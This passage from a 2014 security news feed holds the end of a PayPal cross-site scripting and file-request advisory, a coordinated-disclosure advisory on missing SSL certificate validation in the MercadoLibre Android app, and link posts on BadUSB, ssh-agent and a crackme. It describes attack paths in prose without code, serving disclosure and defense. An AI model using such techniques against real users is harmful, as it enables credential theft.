The vulnerable values are `confidential` and `accountSelName confidential`. Both values will be
taken through the filter via referer on a redirect request with the same origin policy setup. The
execution does not only allows to inject scipt codes for xss, the issue also allows an attacker to
request local web-server files by the trusted same origin policy context request.

4.png
The 4th image shows the session tamper details next to processing to clicking the link of the
developer portal (api) to paypal.com (paypal). The tampered session through moziall shows that the
server accepted the GET request with the further visible trusted context. The server responds with
200OK and directly executes the code through the paypal.com domain in the profile user top
section.

5.png
The 5th image shows were the code execution appears to become visible in the live session tamper.
The domain https://www.paypal.com/webapps/helpcenter/home/a shows that the malicious inject
was successfully because after the path ./helpcenter/home/[x] the code execution occurs after the
filter bypass through the other services.

6.png
The 6th images only shows that the attack vector of the issue in located on the application-side of the
paypal inc online service. Proof for check was multiple GET requests during the test from the
paypal database as user.


Solution - Fix & Patch:
=======================
A solution to fix the issue could be to parse all incoming values through the same origin policy configuration of the connected
portal with the same api. The vulnerable accountselname confidential and confidential values needs to be encoded even if transfered
through andother service location. Restrict the input for registration and disallow specialchars to prevent script code injects
and code execution payloads with unauthorized file requests through the trusted paypal home webapps context.

Note: The issue should be checked by the dev team to review also the backend effect of the issues. Issue is already marked as patched 2014Q4.


Security Risk:
==============
The security risk of the  of the arbitrary code execution in the confidential account value GET method request is estimated as critical. (CVSS 9.1)
Attacker can request local path values by implementation of privileged context reuqest in the referer which results in a system compromise because of
attackers are able to access unauthorized server local files.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri (bkm@vulnerability-lab.com)


Disclaimer & Information:
=========================
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↧

Missing SSL certificate validation in MercadoLibre app for Android [STIC-2014-0211]

November 12, 2014, 11:47 am
$
0
0
   Fundación Dr. Manuel Sadosky - Programa STIC Advisory
                www.fundacionsadosky.org.ar

Missing SSL certificate validation in MercadoLibre app for Android

1. *Advisory Information*

Title: Missing SSL cert validation in MercadoLibre app for Android
Advisory ID: STIC-2014-0211
Advisory URL: http://www.fundacionsadosky.org.ar/publicaciones-2
Date published: 2014-11-11
Date of last update: 2014-11-10
Vendors contacted: MercadoLibre (NASDAQ:MELI)
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Improper Following of a Certificate's Chain of Trust [CWE-296]
Impact: Data loss
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Identifier: CVE-2014-5658


3. *Vulnerability Description*

   MercadoLibre (NASDAQ:MELI) is an online trading company focused on
enabling e-commerce and its related services in Latin America.
According to the company[1] MercadoLibre is the largest e-commerce
ecosystem in Latin America, offering a wide range of services to
sellers and buyers throughout the region including marketplace,
payments, advertising and e-building solutions. It operates in 13
countries including Argentina, Brazil, Chile, Colombia, Mexico, Peru,
and Venezuela.

    The company provides services to its users through a set of
country-localized web applications and an Android application that is
available for download in Argentina, Brasil, Chile, Colombia, Costa
Rica, Ecuador, México, Panamá, Perú, Portugal, República Dominicana,
Uruguay y Venezuela. As of November, 2014 the application has between
10 and 50 million installations according to Google Play statistics[2].

    Vulnerable versions of the MercadoLibre's app for Android do not
validate the SSL certificate presented by the server. This allows
attackers to present fake certificates and perform Man-in-the-Middle
attacks allowing them to capture user's credentials to the site and
credit card information.

    The vendor fixed the problem in the latest version of the
applications. Users are advised to update their app as soon as possible.


4. *Vulnerable packages*

   . MercadoLibre for Android prior to 3.10.6.

5. *Vendor Information, Solutions and Workarounds*

     MercadoLibre acknowledged and fixed the vulnerability in version
3.10.6. They did so by updating the LoopJ Asynchronous Http Client
library to a version that does not skip the certificate validation
process by default.

      To determine which version of the application you have installed
on your Android device, go to "Settings|application settings|manage
application" then tap on the MercadoLibre app.


6. *Credits*
This vulnerability was discovered and researched by Joaquín Manuel
Rinaudo. The publication of this advisory was coordinated by Programa
de Seguridad en TIC.
      Will Dormann of CERT/CC independently discovered the SSL
certificate validation vulnerability using the CERT Tapioca tool.[5]

7. *Technical Description*

      MercadoLibre Android's application uses the LoopJ Android
Asynchornous HTTP client library [3] to communicate with the company's
web services. HTTP requests destined to the server are passed through
the 'MLAPIClient' interface to this library, which is responsible for
establishing a secure connection.

      The vulnerability is found in the class 'AsyncHttpClient' inside
the loopj library, which uses the class 'FakeSocketFactory' to set up
new sockets used to connect to remote web services. The sockets
created use a custom X509TrustManager named 'FakeTrustManager'. The
TrustManager's task is to verify that the SSL certificate presented by
the server is valid in order to prevent Man-in-the-Middle attacks.
Since 'FakeTrustManager' is just an empty implementation, all SSL
certificates presented to it will be considered valid. This allows an
attacker to mount a MITM attack to capture user authentication
credentials and other security-sensitive data by intercepting traffic,
creating fake X509 certificates on the fly and submitting them to
MercadoLibre's Android application.


8. *Report Timeline*

. 2014-09-02:

        Initial contact with the vendor requesting security contact
information to report vulnerabilities.

. 2014-09-09:
        Security contact information provided

. 2014-09-09:
        Programa de Seguridad en TIC sent the vendor a description of the
vulnerability notifying them also that CERT/CC[5] had published a
document listing applications that failed to validate SSL certificates
that included the MercadoLibre app, making the vulnerability now public.

. 2014-09-09:
        The vendor acknowledged the vulnerability and assured that the
problem was being addressed.

. 2014-09-09:
        Programa de Seguridad en TIC sent description of the ongoing research
project in which the vulnerabilitty was discovered as well as
reference to the vulnerability disclosure policy and procedures[4].

. 2014-09-17:
        Programa de Seguridad en TIC requested an status update and estimated
date for the release of a fixed version of the app.

. 2014-09-17:
           The vendor replied that the mobile team was working on the
problem, doing an assessment of the impact of the required change and
that the estimated date for a fix would be determined after that.

. 2014-09-17:
        Programa de Seguridad en TIC asks for an status update and estimated
date for the release of a fixed version fo the app.

. 2014-09-17:
        The vendor indicated that impact assessment was focused on
determining the number of users that would not be able to use the
fixed app due to a Certification Authority (CA) missing in older
versions of the Android keystore.

. 2014-09-18:
        Programa de Seguridad en TIC sent email detailing legal personal data
protection obligations[6] that apply to companies operating in
Argentina, a link to the US Federal Trade Commision case with Fandango
and Credit Karma[7] and points out MercadoLibre's security clause in
its own privacy policy statement[8].
        Programa de Seguridad en TIC suggests that the impact of a set
of users not being able to use the fixed app should be weighted
against the potential business risk of leaving the entire user base of
the Android app vulnerable to account hijacking attacks.

. 2014-09-22:
       Vendor replies that the risks are clearly understood and that
there is no question about whether the bug will or will not be fixed.
The vulnerability WILL be fixed. For further discussion Programa de
Seguridad en TIC can refer to the vendor's chief security officer.


. 2014-09-22:
        Programa de Seguridad en TIC thanks the vendor for its prompt
response and reminds that all communications regarding the report
should be carried over email so they can be documented and summarized
in the corresponding section of the security advisory as described in
the reporter's vulnerability reporting and disclosure procedure.

. 2014-09-24:
       Vendors informs that an updated app (version 3.10.6) fixing the
SSL certificate validation problem was rolled out and was already
available to 1% of the users.

. 2014-09-27:
       The vendor informed that the MercadoLibre app version 3.10.6
was publicly available

. 2014-10-24:
        Programa de Seguridad en TIC informs vendor that although it did not
receive further information about availability of the new version of
the app, it assumed that by now it was available to 100% of the
affected users and therefore will proceed with the publication of the
security advisory the next monday.

. 2014-11-07:
        A new version of the MercadoLibre application was published on
the Google Play market

. 2014-11-11:
        The advisory was released.

9. *References*

[1] About MercadoLibre
    http://investor.mercadolibre.com/
[2] MercadoLibre for Android
    https://play.google.com/store/apps/details?id=com.mercadolibre
[3] LoopJ Asyncrhonous HTTP Client
    https://github.com/loopj/android-async-http
[4] Programa STIC - Vulnerability Reporting and Disclosure Procedure
    http://www.fundacionsadosky.org.ar/procedimiento-stic
[5] Vulnerability Note VU#582497. Multiple Android applications fail
to properly validate SSL certificates.
    http://www.kb.cert.org/vuls/id/582497
[6] Ley 25.326 de Protección de los Datos Personales, Argentina.

http://www.jus.gob.ar/datos-personales/cumpli-con-la-ley/%C2%BFcuales-son-tus-obligaciones.aspx
[7] Fandango, Credit Karma Settle FTC Charges that They Deceived
Consumers By Failing to Securely Transmit Sensitive Personal Information.

http://www.ftc.gov/news-events/press-releases/2014/03/fandango-credit-karma-settle-ftc-charges-they-deceived-consumers
[8] Políticas de privacidad y confidencialidad de la información,
MercadoLibre.
    http://ayuda.mercadolibre.com.ar/seguro_privacidad

10. *About Fundación Dr. Manuel Sadosky*

The Dr. Manuel Sadosky Foundation is a mixed (public / private)
institution whose goal is to promote stronger and closer interaction
between industry and the scientific-technological system in all
aspects related to Information and Communications Technology (ICT).
The Foundation was formally created by a Presidential Decree in 2009.
Its Chairman is the Minister of Science, Technology, and Productive
Innovation of Argentina; and the Vice-chairmen are the chairmen of the
country’s most important ICT chambers: The Software and Computer
Services Chamber (CESSI) and the Argentine Computing and
Telecommunications Chamber (CICOMRA). For more information visit:
http://www.fundacionsadosky.org.ar

11. *Copyright Notice*

The contents of this advisory are copyright (c) 2014 Fundación Sadosky
and are licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 4.0 License: http://creativecommons.org/licenses/by-nc-sa/4.0/
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Only Half of USB Devices Have an Unpatchable Flaw, But No One Knows Which Half

November 12, 2014, 11:49 am
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First, the good news: that unpatchable security flaw in USB devices first brought to light over the summer affects only about half of the things you plug into your USB port. The bad news is it’s nearly impossible to sort out the secure gadgets from the insecure ones without ripping open every last thumb drive.

more here......http://www.wired.com/2014/11/badusb-only-affects-half-of-usbs/
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The pitfalls of using ssh-agent, or how to use an agent safely

November 12, 2014, 11:52 am
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In a previous article we talked about how to use ssh keys and an ssh agent.

Unfortunately for you, we promised a follow up to talk about the security implications of using such an agent. So, here we are.

more here........http://rabexc.org/posts/pitfalls-of-ssh-agents
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Taming a Wild Nanomite-protected MIPS Binary With Symbolic Execution: No Such Crackme

November 12, 2014, 11:55 am
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As last year, the French conference No Such Con returns for its second edition in Paris from the 19th of November until the 21th of November. And again, the brilliant Eloi Vanderbeken & his mates at Synacktiv put together a series of three security challenges especially for this occasion. Apparently, the three tasks have already been solved by awesome @0xfab which won the competition, hats off :).

To be honest I couldn’t resist to try at least the first step, as I know that Eloi always builds really twisted and nice binaries ; so I figured I should just give it a go!

more here.........https://doar-e.github.io/blog/2014/10/11/taiming-a-wild-nanomite-protected-mips-binary-with-symbolic-execution-no-such-crackme/
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